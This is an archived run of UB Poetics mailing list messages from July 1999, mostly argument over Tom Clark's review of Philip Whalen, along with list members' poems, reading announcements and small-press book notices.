> -- get 'em while they last!

↑ Index

19. KENT JOHNSON
Re: Whalen
Fri 2 Jul 1999

With the flurry of talk about Phil Whalen, I wanted to mention again that _Beneath a Single Moon: Buddhism in Contemporary American Poetry_, is being reissued by Shambhala shortly. There is a generous selection of Whalen's poetry therein _and_ a brilliant essay by him that is not available elsewhere.

And I agree with Dale Smith's pithy and reasonable point that if one doesn't like Tom Clark's review and feels that Whalen deserves better, well, then, one should write a better review. Just a thought, but maybe John Tranter at Jacket would be delighted to have a special section on Whalen as he has just done with Spicer? (that's a public suggestion, John.) It would be a nice tribute to one of U.S. poetry's most interesting individuals.

Kent

↑ Index

20. Brian Lennon
Re: Reviews....
Fri 2 Jul 1999

I often wonder if generic praise or gratuitous hostility is worse. If a book sucks, why not just review something else instead? On the other hand, the banal jacket-copy prose of many reviews ("A tour de force! The most astonishing debut in decades! The best poet writing in English today!") makes me long for a good old-fashioned hatchet job. I have no problem writing a censorious review of a mediocre third or fourth or nineteenth book by an author who enjoys the unwavering support of a major publisher: why not enjoin the writer to please remove her or his hand from the cookie jar? In many other cases, it seems not worth saying anything if there's nothing nice to say. It would probably be more useful to review bad reviewers than to review bad books. But who would read those???

Brian Lennon

At 08:20 PM 7/1/99 -0400, Chris Stroffolino wrote:
>Well, then there's (on the other side?) the question of "positive" reviews.
>In the latest st. marks newsletter, for instance, there's at least two
>"positive" reviews of books that--if i didn't already know the books (one
>which i think is pretty damn great the other not bad but "excellent
>scribbling in a period style"---more on this backchannel)--would actually
>turn me away from reading them, more than a more AMBIVALENT review would.
>Since I'm more interested in the ISSUE than in the specifics, I leave the
>names blank for now....
>curious what others think....
>chris

↑ Index

21. Chris Stroffolino
THING....
Fri 2 Jul 1999

Here's a THING I'm involved in....
There will be FREE DRINKS

Reuben reubin and LEE Klein
invite you to celebrate the publication of

CAME LIKE IT WENT
by Greg Fuchs (buckdown books)

UNLOCKING THE EXITS
by Eliot Katz (Coffee House Press)

VERTICAL's CURRENCY: NEW & SELECTED POEMS
by Joel Lewis (Talisman

THE FUTURE IS NOW b Elizabeth Morse (Linear Arts)

STEALER'S WHEEL by Chris Stroffolino (Hard Press)

Saturday July 19, THE VIP ROOM IN the new CHINA CLUB
268 West 47th St. (btw. b'way & 8th)

Doors open 10PM; "cocktails" 10-11

We'll probably all read like 2 poems or something too...

If can't make it, you may find my book in POSMAN's BOOKSTORE
(University Place) and St. Marks may still have it...
You could also STEAL it from BARNES & NOBLE....

----chris

↑ Index

22. Tony Green
Re: Whalen
Fri 2 Jul 1999

Scenes of Life... yes yes
& dont forget Speeches for a Brazen Head -- which Judi Stout (who is not on this list) & I
read & loved early 80s

& can it really be true that Robert Grenier has somehow become obscure? having been v much stimulated to rethink my own writing from reading:

Cambridge M'ass,
A Day at the Beach,
Sentences,
Sentences towards Birds,
Oakland (Tuumba)
Series

& having also had my skills at ping-pong put to a severe test, I find this hard to believe.

Tony Green

↑ Index

23. Elizabeth Treadwell
Charles Alexander & Sarah Mangold
Sat 3 Jul 1999

Seeking these 2 or their latest emails b/c re: next Outlet.

Thanks and apologies and happy 4th.

ET

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/dblelucy

↑ Index

24. hassen
dna, will, what, what!
Sat 3 Jul 1999

---

pardon me,

w[a/o]ndering back - within the past month? - breezed over a post concerning *dna & will*. anyone know of this or am i fabricating again?

if it rings a bell & brings forth more info, please oh please relay. & backchannel if appropriate.

thanks in advance,
hassen

↑ Index

25. charles alexander
Grenier
Sat 3 Jul 1999

> *& can it really be true that Robert Grenier has somehow become obscure?*

a relative point, it seems. I would imagine that just about every poet ever mentioned on this list is obscure to most of the reading public, probably even most of the poetry-reading public. On the other hand, within this list, I would certainly hope Grenier isn't obscure. And I agree that his work is crucial, as you say here, Tony.

charles

> *having been v much stimulated to rethink my own writing from reading:*
>
> *Cambridge M'ass,*
> *A Day at the Beach,*

> *Sentences,*
> *Sentences towards Birds,*
> *Oakland (Tuumba)*
> *Series*
>
> *& having also had my skills at ping-pong put to a severe test, I find this hard to believe.*
>
> *Tony Green*

---

chax press & alexander writing/design/publishing
handmade books & communications design
http://alexwritdespub.com/chax

↑ Index

26. Todd Baron /*/ ReMap Readers
Re: Whalen
Sat 3 Jul 1999

KENT JOHNSON wrote:
>
> With the flurry of talk about Phil Whalen, I wanted to mention again
> that _Beneath a Single Moon: Buddhism in Contemporary
> American Poetry_, is being reissued by Shambhala shortly. There is a
> generous selection of Whalen's poetry therein _and_ a brilliant essay
> by him that is not available elsewhere.
>
> And I agree with Dale Smith's pithy and reasonable point that if one
> doesn't like Tom Clark's review and feels that Whalen deserves
> better, well, then, one should write a better review. Just a thought,
> but maybe John Tranter at Jacket would be delighted to have a special
> section on Whalen as he has just done with Spicer? (that's a public
> suggestion, John.) It would be a nice tribute to one of U.S. poetry's
> most interesting individuals.
>
> Kent

a response to Whalen stuff: Clark needs to see that often there is LITTLE PUBLIC SPACE (newspapers atht actually get read by the "masses") for reviews, poems, printed thots in the world--and that publishers/newspapers, etc. WILL NOT give more than a dab o' space for a review of poetry. Thus, your

response to "write a better one" is a good idea--but Clark took up what little space there might be for a public proclamation.

↑ Index

27. Alan Sondheim

MINE

Sun 4 Jul 1999

=/

MINE

arms and legs cut off no control over what YOU do to ME to MY texts to MY words where YOU are what YOU are thinking of what tales YOU tell built on the ruins of MY words as I did say and reiterate

THESE words which are MINE which you desecrate and VIOLATE all FOREVER and and and I suppose I might insist that RIGHT HERE is an interruption when YOU know better that I'VE placed whatever trash is in YOUR way right in THIS spot RIGHT HERE it does seem to keep sliding

YOU'LL do to ME whatever YOU feel like anyway I shouldn't complain IT DOESN'T DO ANY GOOD whoever YOU are I mean YOU MIGHT AS WELL BE MY EYES while YOU'RE AT IT or EARS WHATEVER

JUST LEAVE THE LETTERS AT THE DOOR WHEN YOU LEAVE THEY'RE MINE MINE MINE MINE MINE MINE MINE MINE

↑ Index

28. Alan Sondheim

Song from E. A. C.

Sun 4 Jul 1999

=[

Song from E. A. C.

Oh maiden, bind the stalks!
Aroo lay, aroo lay!
Oh maiden, the stalks will be bound!
Aloor, aroo lay, aroo lay!

Oh youngman, carry the sheaves!
Aroo lay, aroo lay!
Oh youngman, the sheaves will be carried!
Aloor, aroo lay, aroo lay!

Oh maiden, unbind the stalks!
Aroo lay, aroo lay!
Oh maiden, the stalks are unbound!
Aloor, aroo lay, aroo lay!

Oh youngman, assemble the sheaves!
Aroo lay, aroo lay!
Oh youngman, the sheaves are assembled!
Aloor, aroo lay, aroo lay!

Oh maiden, the sheaves and the stalks!
Aroo lay, aroo lay!
Oh youngman, the stalks and the sheaves!
Aloor, aroo lay, aroo lay!

↑ Index

29. david bromige

kent johnson to the rescue (was whalen)

Sun 4 Jul 1999

agreed, kent, one might well review whalen's book oneself. I don't agree, however, that not to do so should prevent one from remarking flaws in another's review. This is a curious advocacy. For instance, john william corrington's dismissive review of robert creeley's poetry is clearly assinine even to people who never reviewed creeley, and surely they have a right to say so. I will never review You've Got Mail, but i can tell you that anyone who reviewed it favorably, is an idiot. db.

↑ Index

30. Dale Smith

Re: Whalen

Sun 4 Jul 1999

"Public proclamation" is an annoying reduction of the sensitive evaluation Clark gives Whalen in this review. The trouble some have, I believe, is with the reviewer, not the review, because the piece is clearly favorable in that it articluates, in a short space, some complex themes of Whalen's writing. Otherwise, there would be discussion of Whalen's work on this list, how it works for or against TC's claims.

Todd Baron wrote:

> *a response to Whalen stuff: Clark needs to*

> *see that often there is LITTLE PUBLIC SPACE (newspapers atht actually get read by the "masses") for reviews, poems, printed thots in the world--and that publishers/newspapers, etc. WILL NOT give more than a dab o' space for a review of poetry. Thus, your response to "write a better one" is a good idea--but Clark took up what little space there might be for a public proclamation.*

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

↑ Index

31. A H Bramhall

Whole

Sun 4 Jul 1999

---

allen
i can't
go there
with you
any more

but
all
love

↑ Index

32. A H Bramhall

Recognize

Sun 4 Jul 1999

I said once I wouldn't
then I did. you never know
or can you? it
surprises you
even as you expect with all the
weight that makes sense. it troubles
and finds relief. relief?
a torture of patterns
in conjunction.
this will
never do, and
yet it does. a bluff

but waiting for more
information. no
information is
enough. not yet not ever,
and that's fine. nothing
will ever be fine
but that's just squawk. one gets
used to squawk,
and squawk again.
a bargain of
jitters, triumph and
where are you?
walk home now and,
later, look back to
your home.

↑ Index

33. KENT JOHNSON

One "could" (re: whalen)

Sun 4 Jul 1999

On July 3, David Bromige said:

> *agreed, kent, one might well review whalen's book oneself. I don't agree, however, that not to do so should prevent one from remarking flaws in another's review. This is a curious advocacy. For instance, john william corrington's dismissive review of robert creeley's poetry is clearly assinine even to people who never reviewed creeley, and surely they have a right to say so. I will never review You've Got Mail, but i can tell you that anyone who reviewed it favorably, is an idiot. db.*

David:

The coincidence here is remarkable, because I have been, for the past fourteen months, the Midwest Treasurer of the Meg Ryan Fan Club, and You've Got Mail is one of my favorite movies ever! Do you think I am an idiot?

But anyway, here's what I said:

> *And I agree with Dale Smith's pithy and reasonable point that if one doesn't like Tom Clark's review and feels that Whalen deserves better, well, then, one should write a better review.*

Actually, I think your point above is a good one, so I will change "should" to "could". One _could_ write a better review, and in writing this review not only do justice to the underappreciated Whalen but also smash into the ground the

horrible face of the terrible anti-christ Tom Clark, whose blasphemous name elicits posts on this List like a vampire elicits crosses in a convent.

See how this moderated List helps us all to quickly agree?

Kent

↑ Index

34. Billy Little
Re: Whalen
Mon 5 Jul 1999

Whalen broke as much ground for american poetry and poets as ginsberg or spicer or kerouac, next to whalen's gary snyder's work looks like amy lowell's(next to joanne kyger's snyder's work looks like amy lowell's). In the early publications just the appearance, the calligraphy, the erasures, the doodles shifted your reality. His no frills syntax gave permission to Kerouac and Acker and Bernstein alike.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted]
zonko

↑ Index

35. Herb Levy
poetry in RealAudio
Mon 5 Jul 1999

This week's Mappings, my show on Antenna Internet Radio, features five compositions by Joihn Zorn, including a lengthy collaboration between John Zorn & Lyn Hejinian called Que Tran (pardon the missing accents), created as one of a series of pieces by Zorn with texts & Music called New Traditions in East Asian Bar Bands. Performing musicians are Anthony Coleman & Wayner Horvitz, the text is read by Anh Tran, in a Vietnamese translation by Tu Vu. (& I'm starting to box box things up in advance of a move to Forth Wort texas this fall & don't have my books easy to get at. Could someone help identify whether the Hejinian has been otherwise published? It's a fairly long piece beginning"A woman waits for sleep, but it is away at war, and in the end it doesn't return ..." Thanks.)

Next week's show (beginning Sunday July 11th, sometime before midnight West Coast (US) time) features all text oriented pieces,including a lot of poets

reading and collaborations of various sorts between composer/performers and poets. I'll send out more details next Sunday.

<http://www.antennaradio.com/avant/mappings/index.htm>

Herb Levy
[redacted]

↑ Index

36. Ryan Knighton, Editor
Oliver address
Mon 5 Jul 1999

Hi all,

If doug oliver is out there or someone has a backchannel address I'd appreciate it as much as I can.

Bests,
Ryan

_____
Ryan Knighton, Editor
The Capilano Review
2055 Purcell Way
N. Vancouver V7J 3H5
PH: [redacted]

↑ Index

37. David Erben (Art)
Unsolicited Submissions/Taos Poets Gathering
Mon 5 Jul 1999

Can anyone tell me what the "typical" letter accompanying an unsolicited submission should look like?

And... did anyone happen to attend the gathering of Native American poets that occurred in Taos two or three weeks ago?

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38. david bromige
the devil in tom clark
Mon 5 Jul 1999

> *n but also smash into the ground the horrible face of the*
> *terrible anti-christ Tom Clark, whose blasphemous name elicits posts*
> *on this List like a vampire elicits crosses in a convent*

thus Kent Johnson. Now tell me, Kent (and others, should you know), is the List's reaction to Tom Clark utterly without grounds, has he been selected at random for extraordinary punishments, "demonized" as Kent would have it metrely through bad luck and the need for a scapegoat.....Or is the rhetoric flourished in the citation above, a way to distract us from some pretty obvious flaws?

And if so, in the name of _what_ is this rhetoric flourished? Tell me, fellow-listlings, if you can : does TC command such loyalty in some, that they will overlook what any person of average I.Q. (I allude to myself f and f) would recognize in TC's writings as major inconsistencies, unresolved conflicts, flawed thought.....or what have you?

Excuse the upcoming divagation : I had occasion once to write to the wife of a man who had abandoned all reason and logic to castigate me publicly. My response to this rudeness, at first reasoning, became itself rude. To which she now objected, inserting herself into the exchange. To which I responded by remarking the several provocations. To this she did not respond. To her, it was as though the words her man had uttered, that started it all, did not exist--had not been uttered. Presumably because somebody _she_ loved, would not proceed in such a way.....despite the evidence was under her very nose. Or somehow lacked significance because by prior agreement with herself, her husband was without flaws---was perfection. Hmmm, what it would have cost her, to admit otherwise!

What is it about Tom Clark that inspires this connubial kind of loyalty in his admirers, a bond that will not admit his faults?

And, cororally, are we able to perceive a pattern, are these supporters in other ways similar to one another? Does the School of Clark consist of persons Contented with their Blind Spots?

Maybe exercises this exhaustive aren't necessary. Let's simply ask that Kent or Dale or whomever put some piece of TC's up here where we can all read it, some piece that commands their admiration; and then we who would be interested in such engagement, can point out its shortcomings, and in this way, educate. Or, unlikely but possible, declare ourselves as a-brim as they with admiration, and bow out.

Rider : If "De gustibus non disputandum" were the rubric proceeded under in this thread, there could be no dispute. If I recall aright, the dispute began with Steve Vincent remarking on internal conflicts --- taste-disputes --- in the TC piece on Whalen. It is TC's dispute with himself we address, then, a dispute he has made our business in making it public.

And surely TC can stand the heat and not vacate the kitchen. Why are his fans so protective of him? Is there a mindlessness which he performs, that they feel he performs in their behalf? So that they do not mind him, but mind those who would remove the protective caul?

db.

↑ Index

39. Stephen Ellis
Re: Whalen
Mon 5 Jul 1999

Weird to think of published statements as taking up public (media?) space, per Todd Baron's remarks; would it be better to leave public spaces empty, and let thinking take care of itself in private? And besides, who's to limit the extent and/or duration of "public space" - aside, of course, the usual and expected "no more room on the ad pg for YOU ... " - since all audience not virtual and speculative on the part of the speaker is always limited. Those thinking to write "better" reviews of Whalen than TC is thought by some here to have managed, could obviously post them on this list. Or does that not hold the possibility of "a wider readership" up to the correct mirror? Dale seems to've got hold of a singular point, tho - where's the news from Whalen's actual TEXTS that spoils TCs take, given that it's there for the spoiling to begin with. It seems we're far removed from any critical spirit re: Whalen, and are simply out for sport. That being the case, might we not accompany a vendetta against TC with several of his finer baseball poems, just for the sake of fairness?

> *From: Dale Smith <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: Whalen*
> *Date: Sun, 4 Jul 1999 14:11:09 GMT*
>
> *"Public proclamation" is an annoying reduction of the sensitive evaluation Clark gives Whalen in this review. The trouble some have, I believe, is with*
> *the reviewer, not the review, because the piece is clearly favorable in that*
> *it articluates, in a short space, some complex themes of Whalen's writing. Otherwise, there would be discussion of Whalen's work on this list, how it works for or against TC's claims.*

> *Todd Baron wrote:*
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> *a response to Whalen stuff: Clark needs to*
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> *see that often there is LITTLE PUBLIC SPACE (newspapers atht actually*
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> *get read by the "masses") for reviews, poems, printed thots in the*
>
> *world--and that publishers/newspapers, etc. WILL NOT give more than a*
>
> *dab o' space for a review of poetry. Thus, your response to "write a*
>
> *better one" is a good idea--but Clark took up what little space there*
>
> *might be for a public proclamation.*
>
> _____
> *Get Free Email and Do More On The Web. Visit http://www.msn.com*

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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40. **jilith**
event listing
Mon 5 Jul 1999

synapse: second sundays at blue bar
--presents--
a reading with susan gevirtz and myung mi kim
july 11, 2 p.m.

blue bar is at 501 broadway, at kearney, in sf
enter thru black cat restaurant, same address

admission is $2

pssst…their new collaborative chapbook from
a+bend press will be available at the reading

↑ Index

41. Alan Sondheim

Prolegomena for a Science of Concrete Thought

Mon 5 Jul 1999

={

Prolegomena for a Science of Concrete Thought

I. Foundations of Language Related to the Social
A. Definition of the Social: Cognition, Phenomenology, Psychology
1. Meaning as Relational: The Contour, The Gift, Exchange-Strata
i. Problematic of the Thing, Avoiding Circularities
a. Discursive Flows: Non-linguistic, Linguistic
1a. Non-linguistics and the Question of Language
Ia. Abjection: Aura, The Numinous, Noise
Aa. Constitution of Core-Structures and Protocols
1ai. Foundations of the (Physical) Real
aai. Speaking in the Real, Mouth and Machine
1aiA. Analytics and Research
Aai. Orality, The Mouth and Body (Machine)
1A. Couplings and Linkages, The Mesh
a1a. The World, Knowledge
Aiai. Knowledge for Whom or What?
Aai. The Case of the Avatars
1a1A. The Case of the Real

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42. A. Brady

Announcement, Barque Press / Wilkinson

Tue 6 Jul 1999

Resurrected/now available in luscious offset:

OORT'S CLOUD: EARLIER POEMS (1970-1984)
by JOHN WILKINSON
208 pp. paperback 10 pounds (UK) or $15 (US)
Barque Press and subpress, Cambridge 1999

A collection of the earliest chapbooks and other work, this partner volume to the Parataxis Editions _Flung Clear_ includes poems from 1970-1984, early and previously unpublished work by one of Britain's most distinguished and influential poets. Ever wanted to get your eyes on the long-out-of-print _The Central Line_, or _Tracts of the Country_? This large book includes both,

alongside _Maudie's Umbrella_, _Sweetness and Light_, _Air Fleet Base_, _Pornography_ and much else.

**This book will be launched at a chic London location still to nominate itself, probably toward the beginning of August, probably fireworked and highly entertaining, definitely to be announced.

To obtain any Barque book, please e-mail or otherwise contact:

Andrea Brady Keston Sutherland
309 E. Gravers Lane Gonville and Caius College
Philadelphia, PA 19118 Cambridge CB2 1TA
USA ENGLAND
[redacted] [redacted]

The Barque stable also includes such racy chapbooks (still available) as:
-Red D Gypsum by J.H. Prynne 20 pp £3/$5**
-Poem on a Train by Jordan Davis 40 pp £3/$5
-Selections from
the Parasite Poems by Kristin Prevallet 32 pp £2/$4
-At the Motel Partial Opportunity by Keston Sutherland 16 pp £3/$5
-Mincemeat Seesaw by Keston Sutherland 48 pp £3/$5
-Liberties by Andrea Brady 52 pp £3/$5
-The Honky's Guide to Wet Dreams by Sam Brenton 16 pp £2/$4
-Diagnostic by Tim Morris 20 pp £2/$4
-Incarnate's by Jeremy Hardingham 20 pp £2/$4
And yet but still just this

and will soon feature further, impressive work by Kevin Nolan, Alan Halsey editing Mary Leapor (1748), Stacy Doris, and Leo Mellor. Also from Barque: Quid, a monthly poetry + politics magazine (name=cost=image).

**(shipping and careful packing will have to be added to the above prices)

↑ Index

43. A H Bramhall
clark on whalen, whalin' on clark
Tue 6 Jul 1999

---

it's easy enough to evaluate Tom Clark (I'll bet he enjoys chardonnay) because he has mustered himself into so many public venues. to describe him as an anti-christ is interesting theology, but, without supporting argument, not a shining example of critical acumen. I'm not worried about Tom Clark anyway, a-c tho he might be. at the risk of making eye contact, I bet Kent Johnson COULD provide critical acumen re PW so I hereby request that he, or anyone, do so. me, whoever I happen to be, would welcome comments about PW. to my view,

there's a meditative, discursive breed of poetry that includes um PW, Lew Welch but also (I'm not suggesting a school) Carl Rakosi, Charles Resnikov and... Paul Blackburn? my own thoughts aren't well formed, hence my request. at any rate, I too suspect Whalen is under-appreciated (and double that with Kyger: I too am guilty as charged). I have On Bear Head, am not positioned to buy anything new and have read very little about PW. Billy Little briefly suggested some useful talking points concerning PW, and I truly doubt the mean moderator would prevent further discussion so trip the light fantastic step, how about. a minor buzz about PW could be bestirred right here in this seething climate. my thinking, you see, is that theory begats action.

↑ Index

44. A H Bramhall

Intentional Display of Knowledge

Tue 6 Jul 1999

'avid'
became a verb
on tuesday. why
is not known
but now you have it. you can
assert a
delight without
needing turgid
phrases to signify
your state. the
possibility exists
that the word
will revert
to its earlier
properties, and
'avid' will
no longer be an
action word, but
until then
enjoy the chance
to be specific
and enthralled.

↑ Index

45. David Zauhar
Re: Whalen
Tue 6 Jul 1999

On Thu, 1 Jul 1999, Stephen Vincent wrote:

> *I agree with Coletti's interp of Tom Clark's ambivalent review. In the context of the large public circulation of San Francisco Chronicle, and the fact that Whalen is at the near end of his life, certainly his career, I was disappointed that Tom Clark focused on Whalen's slight and minor aspects, and somehow failed to look at the larger picture of Whalen's significance and mostly unacknowledged contribution to particularly American writing. (You would never know from the article that in 1969 Ron Padgett and Ted Berrigan(?) led a demonstration of a huge contingent of writers and readers around the offices of Harcourt & Brace when On Bears Head (the first anthology) to protest the inaccessible $17.50 hard cover price.*

Interesting detail: Ron Padgett has written one book-length Memoir of Berrigan, Tom Clark another. Can't think of any memoir concerning literary friendships of Whalen, alas. Still, the review didn't seem that negative to me, either. And Clark has done some REAL hatchet jobs in the past ("Stalin as Linguist," first in Poetry Flash I think and then in the neo-con Partisan Review, comes to mind). I don't know how the SF papers operate, but could it be that they consciously try to prevent reviews from seeming to be advertisements or log-rollings. If I didn't know Whalen's work, I wouldn't be put off from investigating it based on the Clark review. Then again, I might not beat a path to the nearest independent bookstore to track it down, either.

David Zauhar
University of Illinois at Chicago

I dreamed I saw Hugo Ball
the night was cold I couldn't even call
his name though I tried
so I hung my head and cried

--bpNichol

↑ Index

46. KENT JOHNSON
Spiral question
Tue 6 Jul 1999

Nabokov once said that a spiral is a circle set free.

What would be and whereto the forms of Authors set free?

↑ Index

47. Jordan Davis
Question jetty
Tue 6 Jul 1999

Hmm I disagree with the premise.
A spiral is as bound as a circle.
As a sine wave is bound. Interesting
choice of words for a lepidopterist,
ha? Any way Kent I won't leverage
any hostile pseudonymies, ahoy,
Hmmmmmmmmmmmmmmmm.

-----Original Message-----
From: KENT JOHNSON <[redacted]>

Nabokov once said that a spiral is a circle set free.

What would be and whereto the forms of Authors set free?

↑ Index

48. Taylor Brady
Re: poetry in RealAudio
Tue 6 Jul 1999

Herb,

Someone else will doubtless have a bibliography more accurate than mine, but I believe the Hejinian piece is part of a longer project that, last I saw it in magazines, was being called "Sleeps." Part of it appeared in Grand Street a few years back. Maybe in Conjunctions as well? Unfortunately, I don't have an index for either of those publications, and haven't seen further installments, other than the one on the Zorn CD, in quite a while. And while the design of the text inserts for the CD is very striking, the 8 point-or-so size of the text makes close reading a difficult proposition at best.

For those who haven't previously encountered it, by the way, I highly recommend the Zorn, which also has a text by Myung Mi Kim narrated by Jung Hee Shin with a percussion duo played by Joey Baron and Sam Bennett; and a text by Arto Lindsay narrated by Zhang Jinglin with guitar duo played by Bill Frisell and Fred Frith. Glad to hear you're featuring some of this work on Antenna.

Best,
Taylor Brady

> *This week's Mappings, my show on Antenna Internet Radio, features five compositions by Joihn Zorn, including a lengthy collaboration between John*

> *Zorn & Lyn Hejinian called Que Tran (pardon the missing accents), created as one of a series of pieces by Zorn with texts & Music called New Traditions in East Asian Bar Bands. Performing musicians are Anthony Coleman & Wayner Horvitz, the text is read by Anh Tran, in a Vietnamese translation by Tu Vu. (& I'm starting to box box things up in advance of a move to Forth Wort texas this fall & don't have my books easy to get at. Could someone help identify whether the Hejinian has been otherwise published? It's a fairly long piece beginning"A woman waits for sleep, but it is away at war, and in the end it doesn't return ..." Thanks.)*
>
> *Next week's show (beginning Sunday July 11th, sometime before midnight West Coast (US) time) features all text oriented pieces,including a lot of poets reading and collaborations of various sorts between composer/performers and poets. I'll send out more details next Sunday.*
>
> *<http://www.antennaradio.com/avant/mappings/index.htm>*
>
> *Herb Levy*
> [redacted]

↑ Index

49. David Baratier

Re: re(ad) Grenier

Tue 6 Jul 1999

Grenier's _12 from r h y m m s_ was published by us here at Pavement Saw Press on a challenge by Witz that no one could put the series into print. There are still a few of the unsigned copies available for $20. They are 12 4-color reproductions on 25% cotton, recycled, watermarked, color retaining paper.

To add to Charles, probably Grenier is obscure because he is still living.

Be well

David Baratier

Pavement Saw Press
PO box 6291
Columbus OH 43206

↑ Index

50. Stephen Vincent
Re: the devil in tom clark
Tue 6 Jul 1999

In a message dated 7/6/99 11:43:59 AM, [redacted] writes:

<< If I recall aright, the dispute
began with Steve Vincent remarking on internal conflicts --- taste-disputes
--- in the TC piece on Whalen. >>

David:

I believe I said the Chronicle critic's piece left me pisst off - which 'en vulgatis' (fairly enough) might be considered a dispute of "taste." But taste in some over-refined literary sense, I don't think so. Clark just missed the Bear, preferring for whatever malevolent or, perhaps, some innocent intent, to quibble in the scat.

However it sounds like you want to go to war or continue one. The 100 Year Civil Guerre de Clark - I can see it into the far future. But is that one - the focus on Clark - worth the yield? In this case, perhaps a contrary without a progression? I think I'll stick to Whalen, Grenier and other lights instead of what I sense will be bleak.

Cheers,
Stephen Vincent

↑ Index

51. hassen
Re: Spiral question
Tue 6 Jul 1999

---

kent,

a snip of my altere re this spiral, my thots concerning the author's spiral & whether it be in or out, [un]control, perhaps nothing, but for some silly reason feel the urge to spew forth, so sorry:

>>
ship horns hail tom in the moorings, subtle from the cove. two weeks drown
his statements in cold wind, peculiar lines everyday without fail, away and
or back, rocking with pedestrian offers, angry stares in any month. what's
to be done with diffuse stars on dimpled cots? what said, word rot? thoughts
ferment on a thing too sweet to taste. there's the sloth, timely even.
precision, a machine on a branch, one that climbs. tom turns down, climbs
downward. from the eye, all is extraneous. refractions are maybe superb in
memory. maybe, he says "may be spiral choices are adorned with lights &

strands of magnets. maybe i am a bubble too." (1/13/99)
<<

be well be!
hassen

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52. KENT JOHNSON
Getting out of the bind
Tue 6 Jul 1999

David: I would like to say that I am not a member of any Tom Clark school. I am not even a "fan" of his work, not knowing it that well. My point is that there is evidence hereabouts of knee-jerk reaction to his persona and writings and that this stems from old and stale history. The fact that his Jacket review of Whalen is perfectly adoring of its subject proves my point. There is nothing at all about the review that calls _anything_ in Whalen into question! It's OK, I guess, to hold a grudge against Tom Clark for his past tirades against Langpo, but time has passed those polemics by, really. Why rail agaisnt the man for calling attention to the genius of a neglected poet most of us agree richly deserves the credit?

In any case, this little exchange has proven fruitful, for I'm told it has prodded John Tranter to plan a special feature on Whalen a la very fine Spicer feature edited by Chris Alexander in Jacket #7. Hurrah!

And Jordan, true about spirals being bounded, as all forms are bound to something or by something. But some bounded things _bind_ more than other bounded things. Obviously. And as for the pseudonym, I would see that as a kind of closed circle-- a circle covering over another one, so actually not much gained there. There must be something more: A way of imagining writing like Smithson had begun to imagine art. Authors are flat circles, like coins, tossed into a dead lake.

↑ Index

53. James Brook
Revolutionary Romanticism from City Lights
Tue 6 Jul 1999

City Lights Books, for which I work, has just published a new anthology, REVOLUTIONARY ROMANTICISM, edited by Max Blechman.

Some on the list may know Max, and I was the in-house editor on this book. In any case, there's much here that should appeal.

What follows is a little write-up, including the table of contents, some of the back cover copy, and ordering information. There's also a link to a review that has just come out in the San Francisco Bay Guardian.

Regards,

James Brook

- - - - - - - - - - -

REVOLUTIONARY ROMANTICSM

A Drunken Boat Anthology

Edited by Max Blechman

250 pgs. / $15.95 / ISBN 0-87286-351-4 / City Lights Books

Individual orders: http://www.citylights.com/CLorder.html

REVOLUTIONARY ROMANTICISM draws on almost two centuries of intertwined traditions of cultural and political subversion. In this rich collection of writings by artists, scholars, and revolutionaries, the transgressions of the past are recaptured and transvalued for the benefit of the struggles of today and tomorrow.

See the San Francisco Bay Guardian review at
http://www.sfbg.com/lit/july99/reviews/politics.html

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261 Columbus Avenue
San Francisco, CA 94133
http://www.citylights.com

"Drunken Boat is a courageous and worthy effort to maintain alive, in a difficult period, unfettered critical thinking. It ought to be supported by all who care about freedom and justice." - Cornelius Castoriadis, author of The Imaginary Institution of Society

"In a period when politics is dreary and political art cliched, Drunken Boat is brilliantly alive and unconventional. It summons up a world where subversion spelled art and art spelled liberation; but Drunken Boat is more than a blast from the past: it speaks to the present. Drunken Boat is the vessel of choice for those bored with chartered cruises and organized day-trips." - Russell Jacoby, author of The Last Intellectuals

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    Max Blechman

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Peter Marshall

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Michael Richardson

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Theses on Revolutionary Romanticism
Max Blechman

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54. Chris Nagler
The Barn (a play) - July 15th and 16th
Tue 6 Jul 1999

To anyone who will be in the SF bay area on
July 15th and 16th
my play/performance piece 'The Barn' is being performed
at 8:00 pm
at 379 40th St. (between telegraph and Broadway)
in north Oakland
Poetics List People get in free.
Running time is about one and a half hours.

chris nagler

"The Barn is a play about a family of voices. The voice,
and the family, as shelters and constraints. Domestic
tasks as the physical equivalents of fantasies -- the
impossibility of containing either within pastoral romance,
but the constant desire for this. It is a play about the possibility
of being far away from the landscape, and the voice."

↑ Index

55. Todd Baron /*/ ReMap Readers
Re: Unsolicited Submissions/Taos Poets Gathering
Tue 6 Jul 1999

David Erben (Art) wrote:
>
> Can anyone tell me what the "typical" letter accompanying an unsolicited
> submission should look like?
>
>
THere should be none. A writer should only submit work to publications
s/he is reading and familiar with. Thus, the letter is not an attempt to
get one's work "in print" but rather a statement of desire to enter into
the dialogue the publication seeks to engage. At ReMap we get a hundred
(yup!) submissions a year from folks who are not familiar with ReMap.
This is obvious from the "generic" letters that accompany the work. As
we struggle to stay in print ($) and (readers) we simply send this work
back--. We're not trying to publish only those poets we know--but we do
struggle to publish the poets who know the magazine.

Todd Baron

↑ Index

56. Todd Baron /*/ ReMap Readers
Re: Whalen
Tue 6 Jul 1999

Stephen Ellis wrote:
>
> Weird to think of published statements as taking up public (media?) space,
> per Todd Baron's remarks; would it be better to leave public spaces empty,
> and let thinking take care of itself in private?

Geez: Let me put it more simply: The larger more widely read newspapers (LA TIMES, NY TIMES, etc. only allow a few poetry reviews per YEAR! THe public space I was talking about was these publications (Mr. Clark is widely published on those pages). My remark was only meant to say "IF indeed there is LIMITED space--the reviews shold be well enaged with the work--try to help the work get new readers--and not do otherwise. That is if the reviews are written by those who care to engage in the dialogue of the work most poets try to produce. That is--DIALOGUE!

Todd Baron

ps: Thus--don't waste "public space"

↑ Index

57. Dale Smith
the devil in us all
Tue 6 Jul 1999

